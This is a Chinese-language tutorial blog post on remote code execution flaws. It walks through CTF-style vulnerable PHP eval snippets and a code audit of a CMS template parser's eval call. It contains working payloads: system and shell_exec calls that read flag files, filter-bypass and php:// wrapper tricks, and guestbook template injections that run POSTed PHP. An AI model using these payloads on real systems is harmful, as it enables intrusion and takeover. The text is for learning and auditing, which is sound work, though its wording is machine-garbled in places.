在网络安全范畴,长途代码实行(RCE)毛病因其严重性和粉碎力而备受关注。RCE毛病允许攻击者在目的体系上实行任意代码,从而掌控整个体系,带来极大的安全风险。理解RCE毛病的工作原理,并把握其复现与代码审计技巧,对于提升体系安全性至关重要。
本文将深入分析RCE毛病的原理,展示如安在现实环境中复现该毛病,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开辟者,都能从中获得实用的知识和技能。让我们一起解密RCE毛病,提升我们的安全防护能力。
- 概念
- 长途代码实行(RCE)毛病是一种严重的安全毛病,它允许攻击者在目的体系上长途实行任意代码。通过利用RCE毛病,攻击者可以完全控制受害体系,实行恶意操作,如窃取敏感数据、安装恶意软件、粉碎体系功能等。RCE毛病通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使体系实行,从而到达控制目的体系的目的。这类毛病的利用不仅对体系安全构成重大威胁,而且大概导致严重的经济损失和数据泄露,因此辨认和修复RCE毛病对确保体系安全至关重要。
- 利用函数
- php
- eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
- python
- eval exec subprocess os.system commands
- java
- java中没有类似php中的eval函数这种直接可以将字符串转化为代码实行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
- 复现
- 基本使用
- 源码
- <?php
- error_reporting(0); //排除错误
- if(isset($_GET['c'])){ //get传参不为空,执行if语句
- $c = $_GET['c']; //get传参,赋值给变量c
- if(!preg_match("/flag/i", $c)){ //过滤flag
- eval($c); //执行c表达式
- }
- }else{
- highlight_file(__FILE__);
- }
- payload:
- ?c=system('tac fla*.php');
- ?c=echo shell_exec('tac fla*');
- ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
复制代码
- 参数逃逸
- 源码
- <?php
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
- eval($c);
- }
- }else{
- highlight_file(__FILE__);
- }
- ?>
- payload:
- ?c=eval($_GET[1]);&1=phpinfo();
复制代码 -
- 伪协议
- 源码同上
- payload:
- ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>
- payload2
- get:?c=include$_GET[a]?>&a=php://input
- post:<?php system('tac flag.php');?>
- payload3
- ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
复制代码 -
-
-
代码审计
- 靶场搭建
- 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
- 下载靶场,在config.php文件中填入授权码,安装靶场
- 流程
- 导入文件,搜索常用的下令实行函数eval
- 看到eval的来源变量matches
- 本文搜索matches的数据来源,来源于parserSiteLabel函数
- 全局搜索parserSiteLabel函数,看到parserCommom函数
- 全局搜索parserCommom函数,到达AboutController.php
- 有前端与后端结合可知,前端的留言板是在AboutController.php上的
- 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过
- 代码
- public function parserIfLabel($content)
- {
- $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
- $pattern2 = '/pboot:([0-9])+if/';
- if (preg_match_all($pattern, $content, $matches)) {
- $count = count($matches[0]);
- for ($i = 0; $i < $count; $i ++) {
- $flag = '';
- $out_html = '';
- // 对于无参数函数不执行解析工作
- if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
- continue;
- }
- eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
- if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
- switch ($flag) {
- case 'if': // 条件为真
- if (isset($matches2[1])) {
- $out_html = $matches2[1];
- }
- break;
- case 'else': // 条件为假
- if (isset($matches2[2])) {
- $out_html = $matches2[2];
- }
- break;
- }
- } elseif ($flag == 'if') {
- $out_html = $matches[2][$i];
- }
- // 无限极嵌套解析
- if (preg_match($pattern2, $out_html, $matches3)) {
- $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
- $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
- $out_html = $this->parserIfLabel($out_html);
- }
- // 执行替换
- $content = str_replace($matches[0][$i], $out_html, $content);
- }
- }
- payload:
- 留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
- payload2:
- 留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
- //记得要在后台把状态打开,不然无回显,头疼!!!!
复制代码 -
-
通过本次学习,我们不仅深入了解了RCE毛病的原理,还把握了复现该毛病的具体步骤和代码审计的方法。安全防护不仅是技能问题,更是一种意识和态度。通过对RCE毛病的全面分析,我们可以或许更好地辨认和修复潜在的安全风险,从而保护我们的体系和数据安全。
在信息安全的蹊径上,没有尽头。希望本文能为您在安全防护方面提供有价值的指导和资助,激发您对网络安全的持续关注和兴趣。让我们共同积极,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的发起,接待在批评区与我们互动。感谢您的阅读,期待您的反馈与分享!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |